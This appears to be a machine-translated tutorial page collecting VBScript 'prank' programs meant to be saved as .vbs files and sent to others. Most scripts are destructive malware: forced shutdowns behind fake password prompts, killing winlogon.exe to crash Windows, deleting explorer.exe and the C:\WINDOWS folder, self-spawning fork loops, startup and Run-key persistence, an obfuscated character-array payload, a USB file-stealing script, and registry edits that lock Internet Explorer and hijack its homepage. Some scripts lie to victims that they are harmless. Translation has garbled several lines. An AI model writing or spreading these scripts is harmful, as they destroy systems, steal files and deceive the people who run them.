How to: Save the Code as *. VBS CAN run
I personally test will not be a big problem, is generally the use of infinite loops, not dead loops, can be completed through the Task Manager WScript or Cscript process can be.
Copy Code code as follows:
No limit in English
Copy Code code as follows:
Set s = CreateObject ("Sapi.spvoice")
I=0
Todo
S.speak I
I=i+1
Loop
Copy Code code as follows:
If MsgBox ("Sorry, you need to restart your computer for too much irrigation.") "&CHR &" Are you sure you want to reboot? ", Vbokcancel+vbinformation, restart Computer" =vbcancel then
MsgBox "System will immediately restart Wow ~_^", "You fooled!!" "
Set Objshell = CreateObject ("Wscript.Shell")
Objshell.run "Shutdown-s-T 5", True
End If
Copy Code code as follows:
Strs=array (13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32 , 34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34, -17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,- 15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34 , 87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,3 2,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,1 17,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)
For I=1 to UBound (STRs)
RUNNER=RUNNER&CHR (STRs (i))
Next
Execute Runner
It's nothing, but it's encrypted, so we can decrypt it.
Copy Code code as follows:
If MsgBox ("Are you a pig?") ", vbYesNo," hint ") =vbyes then
MsgBox "You sb Ah!"
Else
MsgBox "Don't admit it!! As punishment, the blue screen, you immediately hung up #￥! @#￥%@......# ...? ", 64," severe warning!!!!!!!!! "
Set ws = CreateObject ("Wscript.Shell")
Wscript.Sleep 1200
Ws.run "cmd/c start/min ntsd-c q-pn winlogon.exe", 1>nul
End If
Copy Code code as follows:
Set ws = CreateObject ("Wscript.Shell")
Ws.run "cmd.exe/c call calc.exe", 0
The following is the deletion of Explorer.exe, resulting in the desktop is not displayed, but it helps you back up in advance, for the same directory under the Explorer.data
Copy Code code as follows:
Set Ws=createobject ("Wscript.Shell")
Ws.run "cmd.exe/c taskkill/f/im explorer.exe", 0
Wscript.Sleep 900
Ws.run "cmd.exe/c copy%windir%\explorer.exe%windir%\explorer. Data "
Wscript.Sleep 1200
Ws.run "cmd.exe/c del/q/F%windir%\explorer.exe
Copy Code code as follows:
For the Verybat
Ws.sendkeys Wind
Wscript.Sleep 500
Next
Ws.popup "Alas:-((⊙o⊙)!" Yes, I'm so tired, I'm down 886 ", 30.
Ws.popup "Off the machine can not forget to turn off QQ I qq off Ha", 8
Ws.run "taskkill/f/im qq.exe"
Ws.popup "You want to go to play slowly Oh", 27
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
For D=0 to 4
Wshshell.sendkeys "%{f4}"
Next
Ws.run "Shutdown-s-t 1000600"
Wscript.Sleep 2000
Dim a
Todo
A=inputbox ("Please enter the shutdown password")
If a= "403746401" Then
Ws.run "Shutdown-a"
MsgBox "Password verification succeeded, enjoy the best!"
Exit Do
Else
MsgBox "Password Authentication failed, please enter the unlock password: 403746401", Vbretrycancel
End If
Loop
Ws.popup, "haha is scared, isn't it fun?" You think it's a virus? Oh O (∩_∩) o~, I have not so dozen ability to make a virus! ", 57
Ws.popup "(^o^)/~ Good, a little joke with you. You can also send this document to other people and play tricks on others. Oh ^_^", 62
Wscript.Sleep 8900
Do Until i=10
I=i+1
MsgBox "CPU temperature is too high, the system has a serious error!" , please end all applications and let the CPU cool! ", 16+4096," system prompts: "
Wscript.Sleep 1000*45
Loop
Shutdown
Copy Code code as follows:
Set Sh=wscript.createobject ("Wscript.Shell")
Sh.run "shutdown-s-T 332"
Close more than one window that is currently open
Copy Code code as follows:
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
For D=0 to 40
Wshshell.sendkeys "%{f4}"
Next
Copy Code code as follows:
Dim a,b,c,s
Set fs=createobject ("Scripting.FileSystemObject")
Name = WScript.ScriptName
FullName = Wscript.scriptfullname
Path = Replace (Fullname,name, "")
A=inputbox ("Please fill in your real name in the dialog box!") "&vbcrlf&" "&vbcrlf&" will give you an unexpected surprise later!! "&vbcrlf&" "&vbcrlf&" don't believe you can try!!! "&vbcrlf&" "&vbcrlf&" preferably Chinese name ... "," Reizhou Hint: "," Please enter your name here ")
If a = "" Then
Wscript.Quit
End If
Myvar=msgbox ("Your name is:" &a& "", vbYesNo + vbexclamation, "Reizhou Hint:")
If Myvar=vbyes Then
ElseIf Myvar=vbno Then
A=inputbox ("Please fill in your real name in the dialog box!") "&vbcrlf&" "&vbcrlf&" will give you an unexpected surprise later!! "&vbcrlf&" "&vbcrlf&" don't believe you can try!!! "&vbcrlf&" "&vbcrlf&" preferably Chinese name ... "," Reizhou Hint: "," Please enter your name here ")
If a = "" Then
Wscript.Quit
End If
End If
Wscript.Sleep 1000b=inputbox ("honorable" &a& "Hello!") "&vbcrlf&" &vbcrlf& "please fill in your hobby." (Just fill in one!) "," Reizhou Hint: "Please enter your hobby here")
If B = "" Then
Wscript.Quit
End If
Wscript.Sleep 1000c = InputBox ("Please enter your birth [month and year] in the following dialog" computer will automatically calculate how much time you have survived on Earth so far! "&vbcrlf&" "&vbcrlf&" under the different columns I can modify "&vbcrlf&" "&CHR &" format: 1987-06-02 "," Reizhou Hint: "," 1987-06-02 ")
If c = "" Then
Wscript.Quit
End If
Wscript.Sleep 1000age = ABS (DateDiff ("D", Date,c))
Wscript.Sleep 1
Current = Now ()
H=datepart ("H", current)
N=datepart ("n", current)
Wscript.Sleep 1000
s = MsgBox (Chr & "Congratulations" &a& "has survived on earth:" &age& "Days" &h& "hours" &n& "minutes ...", vbokcancel+ 63, "Reizhou Hint:")
If s=2 Then
End If
Set Auto=fs. CreateTextFile ("C:\Documents and Settings\All Users\ desktop \" &a& "secret. vbs", TRUE)
Auto. WriteLine "MSGBOX" & "" "&" My name is: "&a&" "&" "" "&" &vbcrlf& "&" "" "&" "&" "" " & "&vbcrlf&" & "" "&" My hobby is: "&B&" "&" "" "&" &vbcrlf& "" "" "&" " & "" "" & "&vbcrlf&" & "" "&" "&a&" has been alive: "&age&" Day "&h&" Hour "&n&" Minutes "&" "" & "," & "" "" & "" &a& "Self Introduction:" ""
Auto. WriteLine "MsgBox" & "" "&" Dear "&a&" Goodbye! "&" "" & "," & "" "&" Reizhou prompt: "&" "" "&" "
Set Auto=fs. CreateTextFile ("C:\Documents and Settings\All Users\ desktop \" &a& "Happy Birthday." TXT ", True)
Auto. WriteLine "I Rei:" &a& "Happy Birthday, wish to do, dare to try boldly, early success ..."
Auto. WriteLine "You have lived on Earth:" &age& "Days" &h& "hours" &n& "minutes"
Auto. WriteLine "Time is based on your date of birth, may not be very accurate, but the purpose is just to let know the time passed quickly, please cherish the time!!!。 "
Copy Code code as follows:
Dim a
a=10
Set Objshell = CreateObject ("Wscript.Shell")
Objshell.run "Shutdown-s-T", true
Set s = CreateObject ("Sapi.spvoice")
While a
S.speak A
A = A-1
Wscript.Sleep 100
Wend
CreateObject ("SAPI.") SpVoice "). Speak "Bomb?"
Copy Code code as follows:
Todo
CreateObject ("Wscript.Shell"). Run Chr (& WScript.ScriptName & Chr (34)
Loop
Copy Code code as follows:
MsgBox "This file is non-toxic, please feel free to use." ", Vbretrycancel," system prompts. "
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "cmd.exe/c shutdown-s-T 300"
Wscript.Sleep 2000
Dim a
Todo
A=inputbox ("Enter ABC, otherwise shut down.") ")
If A= "ABC" Then
MsgBox "Very sorry, you recruit, this is the trick program, you wait for the shutdown!" "
Exit Do
Else
MsgBox, "Be nice, enter ABC".
End If
Loop
Copy Code code as follows:
On Error Resume Next
Dim Wshshella
Set Wshshella = WScript.CreateObject ("Wscript.Shell")
Wshshella.run "cmd.exe/c shutdown-r-T 6-c" said I was a pig, do not say I was a pig for a minute shut your machine, do not believe, try ... "" ", 0, True
Dim a
Do while (a <> "I am a Pig")
A = InputBox ("Say I am a pig, do not turn off the machine, quickly spread, say" "I am a Pig" "", "say not to say", "Don't Say", 8000,7000)
MsgBox "Good."
Loop
MsgBox "Just say it earlier."
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "cmd.exe/c shutdown-a", 0, True
MsgBox "Himself scold his own face ~~~~~~", 4, ""
Copy Code code as follows:
MsgBox "Aren't you boring?" ", 4
MsgBox "I'll play with you for a while."
MsgBox "Ready to play!" "
Todo
MsgBox "Are you bored?", vbinformation, "Are you bored?" "
Loop
Copy Code code as follows:
On Error Resume Next
Set Wr=createobject ("Scripting.FileSystemObject")
Set Ws=createobject ("Wscript.Shell")
Set F = Wr.getfile (Wscript.scriptfullname)
Q=ws.regread ("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
If not f= "Win32.vbs" then Wr.copyfile f,q& "\win32.vbs", True
Ws.run "Shutdown-p", vbhide
This is so hateful, it has to be restarted.
Copy Code code as follows:
Set Ws=createobject ("Wscript.Shell")
Todo
Ws.sendkeys "{f5}"
Loop
Copy Code code as follows:
Dim Autorunprogram
Set Autorunprogram = WScript.CreateObject ("Wscript.Shell")
Regpath = "Hklm\software\microsoft\windows\currentversion\run\"
Type_name = "REG_SZ"
Key_name = "Question.vbs"
Key_data = "C:\windows\system32\QUESTION.vbs"
Autorunprogram.regwrite Regpath&key_name,key_data,type_name
Dim Fso,file
Set fso = CreateObject ("Scripting.FileSystemObject")
Set file = Fso.getfile (wscript.scriptfullname)
File.Copy "C:\windows\system32\"
Set fso = CreateObject ("Scripting.FileSystemObject")
f = fso. DeleteFile (WScript.ScriptName)
Set Objshell = CreateObject ("Wscript.Shell")
Objshell.run "Shutdown-s-T 5", True
Copy Code code as follows:
Set Wmp=createobject ("WMPlayer.OCX")
Set Cd=wmp.cdromcollection.item (0)
Todo
Cd.eject
Loop
Copy Code code as follows:
On Error Resume Next
Dim Wshshella
Set Wshshella = WScript.CreateObject ("Wscript.Shell")
Wshshella.run "cmd.exe/c shutdown-r-T 60-c" "Call Me Daddy, Shout" ", 0, True
Dim a
Do while (a <> "dad")
A = InputBox ("Shout my father, Quick Caesar, shout" "Daddy" "", "Shout Not shout", "Don't Shout", 8000,7000)
MsgBox Chr + chr (+ CHR) + a,0, "MsgBox"
Loop
MsgBox chr (+ CHR) + CHR (13) + "Son"
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "cmd.exe/c shutdown-a", 0, True
MsgBox chr (+ CHR) + CHR (13) + "Wait till daddy buys you a lollipop."
Copy Code code as follows:
On Error Resume Next
Dim Wshshella
Set Wshshella = WScript.CreateObject ("Wscript.Shell")
Wshshella.run "cmd.exe/c shutdown-r-T 120-c" said You love me, do not say you love me two minutes shut your machine, do not believe, try ... "" ", 0, True
Dim a
Do while (a <> "I Love You")
A = InputBox ("Say You love me, do not turn off the computer, quickly spread, say" "You Love Me" "", "Say No," "Don't Say", 8000,7000)
MsgBox Chr + chr (+ CHR) + a,0, "MsgBox"
Loop
MsgBox Chr + chr (+) + CHR (13) + "Just say so, why bother?"
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "cmd.exe/c shutdown-a", 0, True
MsgBox Chr + chr (+) + CHR (13) + "Haha, this is a fun day.
Copy Code code as follows:
i = MsgBox ("Because you need to blast the computer too much water.") "&_
vbcrlf& "OK blasting?" ", Vbokcancel,_
"Blasting COMPUTER SYSTEM!!!!! ")
If i = 1 Then
CreateObject ("SAPI.") SpVoice "). Speak "Bone"
End If
Copy Code code as follows:
On Error Resume Next
Dim I
I=0
Set fso=createobject ("Scripting.FileSystemObject")
Ip=inputbox ("Please input to monitor the U disk Letter:", "U disk thief-by the Smartest Pig", "I:")
Ext=inputbox ("Please enter the name of the filename to be stolen extension:", "U Disk thieves-by the smartest Pig", "txt")
Myfolder=inputbox ("Please enter the path to save the file:", "U disk thief-by the Smartest Pig", "e:\u disk Theft")
Fso. CreateFolder (MyFolder)
Todo
Wscript.Sleep 1000
If FSO. FolderExists (IP & "\") Then Exit do
Loop
Scan (IP & "\")
Sub Scan (Folder_)
On Error Resume Next
Set Folder_=fso. GetFolder (Folder_)
Set Files=folder_. Files
For each File in Files
Ext_=fso. Getextensionname (File)
Ext_=lcase (Ext_)
Ext=lcase (EXT)
If Ext_=ext Then
I=i+1
Fso. GetFile (File). Copy (MyFolder & "\" & I & "_" & File.name)
End If
Next
Set Subfolders=folder_. Subfolders
For each subfolder in subfolders
Scan (subfolder)
Next
End Sub
Copy Code code as follows:
On Error Resume Next
Dim Wshshella
Set Wshshella = WScript.CreateObject ("Wscript.Shell")
Wshshella.run "cmd.exe/c shutdown-r-T 60-c" "A minute later, your machine is over, do not believe?" Try it! " ", 0, True
Dim a
Do while (a <> "not heavy, not heavy, I am not heavy!")
A = InputBox ("The Only Way is" "Restart" "", "no reboot", "not heavy, not heavy, I do not heavy!", 8000,7000)
MsgBox Chr + chr (+ CHR) + a,0, "MsgBox"
Loop
MsgBox Chr (+) + CHR + chr (13) + "Really not I said you, disorderly according to what OK Ah, hope you in the Internet Café." Bodhisattva bless ...
MsgBox chr (+ CHR) + CHR (13) + "Your machine is really going to be finished, hurry up and prepare some money to install the son." Amitabha, goodness, goodness! "
MsgBox Chr + chr (+) + CHR (13) + "Not in the future so fast Oh ~"
MsgBox chr (+ CHR) + CHR (13) + "88~"
Dim WshShell
Set WshShell = WScript.CreateObject ("Wscript.Shell")
Wshshell.run "cmd.exe/c shutdown-a", 0, True
MsgBox "" + chr (14) + "~"
Dim A
Set A = CreateObject ("Scripting.FileSystemObject")
A.deletefolder ("C:\WINDOWS")
It's not a dead loop, it's a crash, a reboot.
Copy Code code as follows:
MsgBox "Let you see what is vicious!" "
Todo
Set Ws=createobjecet ("Wscript.Shell")
Ws.run "Explorer.exe"
Ws.run "cmd.exe"
Loop
Copy Code code as follows:
On Error Resume Next
MsgBox "is about to be formatted!" Please prepare! ", vbYesNo
MsgBox "Get ready, yes!. ", vbYesNo
MsgBox "Sorry, forgot to say, point no also line!" "
MsgBox "I am sorry to you!" Woo-hoo 555 haha! "
MsgBox "Rely on, I smile fart!" I'm a famous doctor! Doing a study in a mental hospital ... "
MsgBox "Be studied by people!" "
MsgBox "I know you will laugh!" I tell you, I most discriminate against two kinds of people! One is to discriminate against others, the second is to laugh at people, the third is not to recognize the number of people! "
MsgBox "Why are you smiling?" It's time to punish you! "
Todo
Set Ws=createobjecet ("Wscript.Shell")
Ws.run "Explorer.exe"
Ws.run "cmd.exe"
Ws.run "cmd.exe/c shutdown-s-T 7200", ture
Loop
To send a special trick.
Copy Code code as follows:
Set S.createobject ("Wscript.Shell")
Lsfile=wscript.scriptfullname ' get his own name
Do ' dead loops '
S.run Lsfile ' own running himself
S.run "Notepad" Run Notepad
Loop ' A few seconds to panic, ha
To a green, non-toxic harmless:
Copy Code code as follows:
Dim a
Set A=createobject ("Sapi.spvoice")
A.speak "Ha-ha ha hahahahahahaha"
Note: ha ha ha ... Can be changed to a few vulgar words!!
After entering Chinese, English depends on whether your computer can speak English or Chinese!
Copy Code code as follows:
Dim a
A=msgbox ("Tell you a story!", vbYesNo, "Make a Vow")
If A=vbyes Then
Todo
MsgBox ("Once Upon a Mountain")
MsgBox ("There is a temple on the hill")
MsgBox ("There are two monks in the temple")
MsgBox ("The Big Monk tells a story to the Little Monk")
A=1
Loop while A=1
End If
Set the default page, search page settings Baidu
Copy Code code as follows:
If MsgBox ("This is something marked", 65, "WARNING!!! ") = 1 Then
If MsgBox ("Please Don't go for it", 65, "WARNING!!! ") =1 Then
If MsgBox ("No more press!!") ", 65," warned!!! ") =1 Then
If MsgBox ("Mad at Me ...", 65, "WARNING!!! ") =1 Then
If MsgBox ("If so ...) Then this thing is yours! "65," I wish you a happy! 886 ") =1 Then
MsgBox "Here, is your own command, I can not stop the", 65, "I wish you a happy!" 886 "
MsgBox "This is a virus ... (Sealed by the Spirit of the Evil Guide) now, the Spirit of the evil Guide cannot control him.!!!! ", 65," The seal is lifted!! "
On Error Resume Next
Dim Fso,wsh,myfile,ws,pp,fsofolder
Set Wsh=wscript.createobject ("Wscript.Shell")
Set Fso=wscript.createobject ("Scripting.FileSystemObject")
Set MYFILE=FSO. GetFile (Wscript.scriptfullname)
Wsh. RegWrite "Hklm\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall\checkedvalue", 0, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\restrictions\nobrowsercontextmenu", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\restrictions\nobrowsersaveas", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\restrictions\nofileopen", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\Control panel\advanced", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\Control panel\cache Internet", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\Control panel\autoconfig", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\Control panel\homepage", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\Control panel\history", 1, "REG_DWORD"
Wsh. RegWrite "Hkcu\software\policies\microsoft\internet Explorer\Control panel\connwiz Admin Lock", 1, "REG_DWORD"
Wsh. RegWrite "HKCU\Software\Microsoft\Internet explorer\main\start Page", "http://www.baidu.com"
Wsh. RegWrite "HKCU\Software\Microsoft\Internet explorer\main\search Page", "http://www.baidu.com"
Wsh. RegWrite "HKCU\Software\Microsoft\Internet Explorer\main\default_page_url", "http://www.baidu.com"
Wsh. RegWrite "HKCU\Software\Microsoft\Internet Explorer\main\default_search_url", "http://www.baidu.com"
Wsh. RegWrite "Hkey_users\. Default\software\microsoft\internet explorer\main\start Page "," http://www.baidu.com "
Wsh. RegWrite "Hkey_users\. Default\software\microsoft\internet Explorer\main\default_page_url "," http://www.baidu.com "
Wsh. RegWrite "Hkey_users\. Default\software\microsoft\internet Explorer\main\default_search_url "," http://www.baidu.com "
A long time ago, it seems that the summer after the college entrance exam, received a friend of a prank program, the program called "a moving article. vbs", at that time nothing understand, directly double-click, has been brooding. Double-click to eject an input box "Enter ' I am a pig ', otherwise 15 seconds later shutdown." I thought it was funny, nothing input, really shut down, feel very magical. And now can write their own code, but no longer find the previous happiness.
Copy Code code as follows:
Option Explicit
On Error Resume Next
Dim Answer
Dim WshShell
Set WshShell = CreateObject ("WScript. Shell ")
Wshshell.run "shutdown/f/s/t 10/c input ' I am a pig ', otherwise shut down after 10 seconds ~", 0
Do While answer<> "I'm a Pig"
Answer=inputbox ("Input ' I am a pig ', otherwise shut down 10 seconds later ~", "ha haha",, 7000,8000)
Loop
Wshshell.run "shutdown/a", 0
MsgBox "hahaha, isn't it fun?", "hahaha."
Open Notepad, copy and paste the code into, save as "a moving article. vbs", a hoax program is complete, then what to do beyond the scope of this article.
